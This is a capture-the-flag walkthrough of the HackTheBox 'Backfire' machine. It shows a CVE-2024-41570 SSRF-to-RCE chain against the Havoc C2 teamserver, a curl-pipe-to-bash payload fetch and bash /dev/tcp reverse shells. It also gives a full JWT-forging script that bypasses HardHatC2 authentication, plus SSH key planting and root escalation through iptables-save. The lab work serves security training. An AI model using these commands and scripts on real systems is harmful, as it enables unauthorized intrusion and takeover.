Backfire – HackTheBox Link to heading
- OS: Linux
- Difficulty : Medium
- Platform: HackTheBox
Summary Link to heading
“Backfire” is a Medium difficulty machine from HackTheBox
platform. After an initial scan, we find that the victim machine is exposing a configuration file for Havoc
, a Command & Control
(C2
) tool, which leaks credentials. After some research, we find that the victim machine running Havoc
is vulnerable to CVE-2024-41570, a Server-Side Request Forgery
(SSRF
) vulnerability that can be chanied to a Remote Code Execution
(RCE
), allowing us to gain access to the victim machine. Once inside, we find that the victim machine is running another C2
tool called HardHat
, where we find another exploit that allow us to create a user in this new tool and execute commands as a second user running HardHat
. This second user can run iptables
and iptables-save
as root
, which allow us to inject a valid SSH
key for root
user, connect to the victim machine as this user and take total control of it.
User Link to heading
Nmap
scan shows 3 ports open: 22
SSH
, 443
HTTP
and 8000
an HTTP
site:
❯ sudo nmap -sVC -p22,443,8000 10.10.11.49
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-24 00:17 -03
Nmap scan report for 10.10.11.49
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_ 256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp open ssl/http nginx 1.22.1
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=ACME/stateOrProvinceName=Florida/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2025-01-17T16:08:55
|_Not valid after: 2028-01-17T16:08:55
|_http-server-header: nginx/1.22.1
|_ssl-date: TLS randomness does not represent time
8000/tcp open http nginx 1.22.1
| http-ls: Volume /
| SIZE TIME FILENAME
| 1559 17-Dec-2024 11:31 disable_tls.patch
| 875 17-Dec-2024 11:34 havoc.yaotl
|_
|_http-title: Index of /
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.75 seconds
Visiting https://10.10.11.49
just returns a 404 Not Found
site:
❯ curl -s -k https://10.10.11.49
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
Checking port 8000
, visiting http://10.10.11.49:8000/
in a web browser, shows some files:
One file is called disable_tls.patch
and the other one is called havoc.yaotl
.
We can check these files using a terminal along with cURL
:
❯ curl -s http://10.10.11.49:8000/disable_tls.patch
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver
diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
{
Teamserver = ConnectionInfo;
Socket = new QWebSocket();
- auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+ auto Server = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
auto SslConf = Socket->sslConfiguration();
/* ignore annoying SSL errors */
SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
- Socket->setSslConfiguration( SslConf );
Socket->ignoreSslErrors();
QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
}
// start the teamserver
- if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+ if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
logger.Error("Failed to start websocket: " + err.Error())
}
This files seems to be a git
commit about the configuration of a server. We can also see the keyword havoc
.
Checking havoc.yaotl
file returns:
❯ curl -s http://10.10.11.49:8000/havoc.yaotl
Teamserver {
Host = "127.0.0.1"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}
user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}
Demon {
Sleep = 2
Jitter = 15
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}
We have some passwords. The password CobaltStr1keSuckz!
shows some beef against Cobalt Strike
Command & Control
(hereafter C2
).
Searching for Havoc
related to Red Team returns:
Havoc
command and control (C2
) framework is a flexible post-exploitation framework written in Go
, C++
, and Qt
, created by C5pider
. Engineered to support red team engagements and adversary emulation, Havoc
offers a robust set of capabilities tailored for offensive security operations.Additionally, searching for havoc.yaotl
returns this documentation from the official Havoc
website. There, they define different blocks from the file such as Teamserver
, Operators
, Listeners
, Demon
; among others. I encourage to the reader to read this documentation, it’s not too long and pretty clear. The operator block defines, as we expected, the users that are allowed to connect to Havoc
, where they provide the example:
Operators {
user "5pider" {
Password = "password1234"
}
user "Neo" {
Password = "password1234"
}
}
Credentials at havoc.yaotl
file do not work for SSH
service.
At this point, we can search for Havoc CVE
. Searching this returns a vulnerability labeled as CVE-2024-41570. Basically, a Server-Side Request Forgery
(SSRF
) vulnerability allows attackers to send arbitrary network traffic originating from the team server. Searching for exploits for this vulnerability we find this repository that is a Remote Code Execution
script. We also find this repository for the person who apparently discovered the vulnerability, since the author explains in a high detail the vulnerability at his blog. To summarize both exploits:
- This repository (the second one mentioned) sends a fake agent registration request to open a socket at teamserver which can be manipulated to send data.
- This repository (the first one mentioned) can make use of the manipulated websocket to send a payload into the victim machine with
Havoc
running and execute commands remotely.
Therefore, combining both payloads, we pass from a SSRF
to a RCE
attack.
We could manually combine both exploits, but someone has already done it. We find this third repository. The only little changes we do to this code is that we change the line 253 from:
cmd = "curl http://IP:8000/payload.sh | bash"
to:
cmd = "curl http://10.10.16.2:8000/rev.sh | bash"
Where 10.10.16.2
is our attacker IP address. We are going to also expose a Bash
script named rev.sh
through a Python
HTTP
on port 8000
. We create the script rev.sh
in our attacker machine:
❯ echo -e '#!/bin/bash\n\n/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' > rev.sh
❯ cat rev.sh
#!/bin/bash
/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.2/443 0>&1"
❯ chmod +x rev.sh
Where, again, 10.10.16.2
is our attacker IP and 443
the port we will start a listener with nc
to obtain a reverse shell.
In our attacker machine, start a temporal Python
HTTP
server on port 8000
as we specified, again, exposing rev.sh
script:
❯ ls -la && python3 -m http.server 8000
total 24
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Jan 24 01:24 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Jan 24 00:15 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 10512 Jan 24 01:23 exploit.py
-rwxrwxr-x 1 gunzf0x gunzf0x 73 Jan 24 01:24 rev.sh
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Start a netcat
listener on port 443
(running nc -lvnp 443
) as we specified at rev.sh
and run the exploit:
❯ python3 exploit.py --target https://10.10.11.49/ -i 127.0.0.1 -p 40056
We get a shell as ilya
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.49] 55996
bash: cannot set terminal process group (27421): Inappropriate ioctl for device
bash: no job control in this shell
ilya@backfire:~/Havoc/payloads/Demon$
ilya@backfire:~/Havoc/payloads/Demon$ hostname -I
hostname -I
10.10.11.49 dead:beef::250:56ff:fe94:6252
The only “problem” is that, after some seconds, the shell dies. Therefore, we will create a simple SSH
key in our attacker machine:
❯ ssh-keygen -t rsa -b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/home/gunzf0x/.ssh/id_rsa): /home/gunzf0x/HTB/HTBMachines/Medium/Backfire/content/id_rsa
Enter passphrase for "/home/gunzf0x/HTB/HTBMachines/Medium/Backfire/content/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/gunzf0x/HTB/HTBMachines/Medium/Backfire/content/id_rsa
Your public key has been saved in /home/gunzf0x/HTB/HTBMachines/Medium/Backfire/content/id_rsa.pub
The key fingerprint is:
SHA256:nNcrBrKJnigMDwl+R9iF7sCIMON52zI0/gOryw1gKXI gunzf0x@kali
The key's randomart image is:
+---[RSA 4096]----+
| . |
|+ . . |
|+o+ + . |
|o+.B + . . . |
|*+E B . S . . |
|Oo B = + o . |
|o+. O o o . |
|o.++ + . . |
| =+.o . |
+----[SHA256]-----+
We can copy the content of the generated id_rsa.pub
file:
❯ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvESi/A3mYjWfDgVlojVywVI8bGW9RYFQm9CF8Wk1baKC+qVFvOFvfkY1XuEgLs9xr10/7unehGHcMyn2PD2j/l2sWO6m9jAActA+laNWHfOYRpNwx/tZ2a/BKMciVdX3HwuWvgVTkFgfK6XQx/MMN4kXR0b/Qq25/uQe2WwZuE/FXyq7rFH8pcvd6LodzliUOeHU2n9bCWqFpCsyn8SFc9f+NyoIdSYZAXc8dKIQl108x3QXAuqdU4S7zQxw/EwFkhPJSbgiHgg6s2Qmnhovf0B/i53pkkTVknKMAWzW/2xCGZoLeh/ddmgOXWPp/jqG4QprQaNxOZli29S4hlbKERViyMgpAv3MJPoazMzNgf8pIrVcqmWxpr6naEHVxERLdO3S9tt44ce2QQEXV4NLQbUaWaEfb+B34uxJn/LGid1c1CQHVzZdYe5vTgJUIp+fNzZQouKnS4p8ouX5H+19BiboeZ6uY/YQcgFaVrrqXh3w5pmwcRum9AjTocTZ1Xk8vTTDEOnxbjYK0BvIRmk5yQND/0xPL8mKTVn8BD2Pe7LX9DfebVwpd5CVrF2f0x+2Rl0VWYoCwLwvhptp/rZmzYfgjUo72zu9hjzgJ7sUBkQEcs01o4p/GkCi1BeM6+CkHv/VckMhbui7waF8DvGCf03/oQUkHYwKHihu9jGVoCw== gunzf0x@kali
Connect to the victim machine again re-running exploit.py
and add the generated key in our attacker machine and add it to the victim machine executing:
ilya@backfire:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvESi/A3mYjWfDgVlojVywVI8bGW9RYFQm9CF8Wk1baKC+qVFvOFvfkY1XuEgLs9xr10/7unehGHcMyn2PD2j/l2sWO6m9jAActA+laNWHfOYRpNwx/tZ2a/BKMciVdX3HwuWvgVTkFgfK6XQx/MMN4kXR0b/Qq25/uQe2WwZuE/FXyq7rFH8pcvd6LodzliUOeHU2n9bCWqFpCsyn8SFc9f+NyoIdSYZAXc8dKIQl108x3QXAuqdU4S7zQxw/EwFkhPJSbgiHgg6s2Qmnhovf0B/i53pkkTVknKMAWzW/2xCGZoLeh/ddmgOXWPp/jqG4QprQaNxOZli29S4hlbKERViyMgpAv3MJPoazMzNgf8pIrVcqmWxpr6naEHVxERLdO3S9tt44ce2QQEXV4NLQbUaWaEfb+B34uxJn/LGid1c1CQHVzZdYe5vTgJUIp+fNzZQouKnS4p8ouX5H+19BiboeZ6uY/YQcgFaVrrqXh3w5pmwcRum9AjTocTZ1Xk8vTTDEOnxbjYK0BvIRmk5yQND/0xPL8mKTVn8BD2Pe7LX9DfebVwpd5CVrF2f0x+2Rl0VWYoCwLwvhptp/rZmzYfgjUo72zu9hjzgJ7sUBkQEcs01o4p/GkCi1BeM6+CkHv/VckMhbui7waF8DvGCf03/oQUkHYwKHihu9jGVoCw== gunzf0x@kali" >> /home/ilya/.ssh/authorized_keys
We can then use the generated key to log in through SSH
service as ilya
user:
❯ ssh -i id_rsa ilya@10.10.11.49
The authenticity of host '10.10.11.49 (10.10.11.49)' can't be established.
ED25519 key fingerprint is SHA256:vKC7A11sFxQLRppUMt01q0d/DPREoskH4Aa42t0Bz9M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.49' (ED25519) to the list of known hosts.
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
ilya@backfire:~$
We can grab the user flag.
Root Link to heading
At /home/ilya
directory there is a hardcat.txt
file that shows an interesting message:
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#
The message talks about another C2
called HardHat
:
HardHat
is a multi-user C#
. NET-based command and control (C2
) framework designed to aid in red team engagements and penetration testing. It aims to improve quality-of-life during engagements by providing a robust, easy-to-use C2
framework.Based on HardHat documentation, this tool should be running at port 5000
. We can check if this port is open:
ilya@backfire:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 512 0.0.0.0:7096 0.0.0.0:*
LISTEN 0 512 0.0.0.0:5000 0.0.0.0:*
LISTEN 0 511 0.0.0.0:443 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:40056 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 0.0.0.0:8000 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8443 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
It is. We assume it is running.
Searching for exploits but now for this C2
tool we find this blog. There, they also mention port 7096
for HardHat
, which is also open in the victim machine. This port is actually hosting an internal website:
ilya@backfire:~$ curl -s -k https://127.0.0.1:7096 | head
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<base href="/" />
<link rel="stylesheet" href="css/bootstrap/bootstrap.min.css" />
<link href="css/site.css" rel="stylesheet" />
<link href="HardHatC2Client.styles.css" rel="stylesheet" />
At the blog, 3 vulnerabilities are mentioned: Arbitrary File Write
, Authentication Bypass
and Remote Code Execution
. The first vulnerability allow us to write .pfx
files, which is related to authentication at HardHat
. The second vulnerability is interesting: it allow us to create an Administrator
with TeamLead
role (maximum privileges) at HardHat
. The Python
code provided there is:
# @author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests
rhost = 'hardhatc2.local:5000'
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "sth_pentest",
"role": "TeamLead",
"username": "sth_pentest"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
The only change we will do to the script is changing the variable:
rhost = 'hardhatc2.local:5000'
to:
rhost = '127.0.0.1:5000'
Since HardHat
is running in the victim’s machine localhost
.
This port is only open internally but we do have a connection through SSH
we can use it to make a tunnel through a Local Port Forwarding
. Let’s convert ports 5000
and 7096
to ports 5000
and 7096
of our attacker machine. Exit from the current SSH
session and log in again, but executing this time:
❯ ssh -i id_rsa -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@10.10.11.49
If we now visit https://127.0.0.1:7096
at a web browser we can now see HardHat
login panel:
We can now run the exploit:
❯ python3 hardhat_create_account_exploit.py
Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiMTdlNWU4MGMtY2NkYy00ODMyLTk3ZmYtNTMzMDczZDdkNDI0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3Mzc3MDc4ODksImV4cCI6MTc0MDEyNzA4OSwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.b6WuEKkL4QK8OcoQ7eAUKdxf1APVH9Ez9RPlMAK3dgY
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1100: InsecureRequestWarning: Unverified HTTPS request is being made to host '127.0.0.1'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
warnings.warn(
User sth_pentest created
The user sth_pentest
, as the script said, should have been created.
Let’s go back to HardHat
login panel and use the credentials sth_pentest:sth_pentest
(these credentials are defined at the script):
We are in.
Clicking on the three lines at the top left and then on ImplantInteract
we can see there is a Terminal
tab. We can run commands there:
We are executing commands as sergej
user in the victim machine (10.10.11.49
).
Therefore, use this terminal to send a simple payload:
bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"
Pass that command to the terminal, start a listener with netcat
and click on Send
.
We get a new shell as sergej
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.49] 54390
bash: cannot set terminal process group (30253): Inappropriate ioctl for device
bash: no job control in this shell
sergej@backfire:~/HardHatC2/HardHatC2Client$
Similar as we did for ilya
user, go to /home/sergej/.ssh
directory, and add the content of the previously generated id_rsa.pub
file:
sergej@backfire:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvESi/A3mYjWfDgVlojVywVI8bGW9RYFQm9CF8Wk1baKC+qVFvOFvfkY1XuEgLs9xr10/7unehGHcMyn2PD2j/l2sWO6m9jAActA+laNWHfOYRpNwx/tZ2a/BKMciVdX3HwuWvgVTkFgfK6XQx/MMN4kXR0b/Qq25/uQe2WwZuE/FXyq7rFH8pcvd6LodzliUOeHU2n9bCWqFpCsyn8SFc9f+NyoIdSYZAXc8dKIQl108x3QXAuqdU4S7zQxw/EwFkhPJSbgiHgg6s2Qmnhovf0B/i53pkkTVknKMAWzW/2xCGZoLeh/ddmgOXWPp/jqG4QprQaNxOZli29S4hlbKERViyMgpAv3MJPoazMzNgf8pIrVcqmWxpr6naEHVxERLdO3S9tt44ce2QQEXV4NLQbUaWaEfb+B34uxJn/LGid1c1CQHVzZdYe5vTgJUIp+fNzZQouKnS4p8ouX5H+19BiboeZ6uY/YQcgFaVrrqXh3w5pmwcRum9AjTocTZ1Xk8vTTDEOnxbjYK0BvIRmk5yQND/0xPL8mKTVn8BD2Pe7LX9DfebVwpd5CVrF2f0x+2Rl0VWYoCwLwvhptp/rZmzYfgjUo72zu9hjzgJ7sUBkQEcs01o4p/GkCi1BeM6+CkHv/VckMhbui7waF8DvGCf03/oQUkHYwKHihu9jGVoCw== gunzf0x@kali" >> /home/sergej/.ssh/authorized_keys
and connect through SSH
as sergej
user:
❯ ssh -i id_rsa sergej@10.10.11.49
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
sergej@backfire:~$
Checking what commands can this new user run with sudo
we get:
sergej@backfire:~$ sudo -l
Matching Defaults entries for sergej on backfire:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save
Searching for sudo iptables privilege escalation
we reach this blog. There, they provide the command:
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'
sudo /usr/sbin/iptables -S
sudo /usr/sbin/iptables-save -f <file-to-write-comment-from-1st-command>
The line completely replaces the file we write (I tested it), so rewriting /etc/sudoers
file os /etc/shadow
could not be a good idea.
Instead, as we did before, we could try to inject our generated SSH
key as a valid key for root
user:
sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvESi/A3mYjWfDgVlojVywVI8bGW9RYFQm9CF8Wk1baKC+qVFvOFvfkY1XuEgLs9xr10/7unehGHcMyn2PD2j/l2sWO6m9jAActA+laNWHfOYRpNwx/tZ2a/BKMciVdX3HwuWvgVTkFgfK6XQx/MMN4kXR0b/Qq25/uQe2WwZuE/FXyq7rFH8pcvd6LodzliUOeHU2n9bCWqFpCsyn8SFc9f+NyoIdSYZAXc8dKIQl108x3QXAuqdU4S7zQxw/EwFkhPJSbgiHgg6s2Qmnhovf0B/i53pkkTVknKMAWzW/2xCGZoLeh/ddmgOXWPp/jqG4QprQaNxOZli29S4hlbKERViyMgpAv3MJPoazMzNgf8pIrVcqmWxpr6naEHVxERLdO3S9tt44ce2QQEXV4NLQbUaWaEfb+B34uxJn/LGid1c1CQHVzZdYe5vTgJUIp+fNzZQouKnS4p8ouX5H+19BiboeZ6uY/YQcgFaVrrqXh3w5pmwcRum9AjTocTZ1Xk8vTTDEOnxbjYK0BvIRmk5yQND/0xPL8mKTVn8BD2Pe7LX9DfebVwpd5CVrF2f0x+2Rl0VWYoCwLwvhptp/rZmzYfgjUo72zu9hjzgJ7sUBkQEcs01o4p/GkCi1BeM6+CkHv/VckMhbui7waF8DvGCf03/oQUkHYwKHihu9jGVoCw== gunzf0x@kali\n'
sergej@backfire:~$ sudo /usr/sbin/iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvESi/A3mYjWfDgVlojVywVI8bGW9RYFQm9CF8Wk1baKC+qVFvOFvfkY1XuEgLs9xr10/7unehGHcMyn2PD2j/l2sWO6m9jAActA+laNWHfOYRpNwx/tZ2a/BKMciVdX3HwuWvgVTkFgfK6XQx/MMN4kXR0b/Qq25/uQe2WwZuE/FXyq7rFH8pcvd6LodzliUOeHU2n9bCWqFpCsyn8SFc9" -j ACCEPT
sergej@backfire:~$ sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
But we attempt to connect this did not work.
After some fails, what I tried was creating a new key, but this time using an ed25519
key instead of rsa
as we did before (since, from Nmap
scan, we can see those key types are accepted). In our attacker machine we create a new id_ed25519
key and copy the content of the generated id_ed25519
key:
❯ ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/gunzf0x/.ssh/id_ed25519): ./id_ed25519
Enter passphrase for "./id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_ed25519
Your public key has been saved in ./id_ed25519.pub
The key fingerprint is:
SHA256:isat881ep2fUZT0fMmjr5H5vPJ5yksdJFn0KkQnrbws gunzf0x@kali
The key's randomart image is:
+--[ED25519 256]--+
| .. o |
| .+ |
| . .. o|
| . o.o +*|
| S o .oo+*|
| . o . +. oo.|
| + o E.+ * .|
| ... o . Bo* O.|
| .o..+ o+o O+.|
+----[SHA256]-----+
❯ cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE//o6YCfD9F0s7favu72iduXQKpmjNtZeopxVNKQLch gunzf0x@kali
And write this new key:
sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE//o6YCfD9F0s7favu72iduXQKpmjNtZeopxVNKQLch gunzf0x@kali\n'
Display all the rules (the content that will be added to the file):
sergej@backfire:~$ sudo /usr/sbin/iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE//o6YCfD9F0s7favu72iduXQKpmjNtZeopxVNKQLch gunzf0x@kali
" -j ACCEPT
and write the “comments” (which is a payload) at /root/.ssh/authorized_keys
file:
sergej@backfire:~$ sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
We can now try to log in as root
in the victim machine using the generated key:
❯ ssh -i id_ed25519 root@10.10.11.49
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
root@backfire:~#
GG. We can read root
user flag at /root
directory.
~Happy Hacking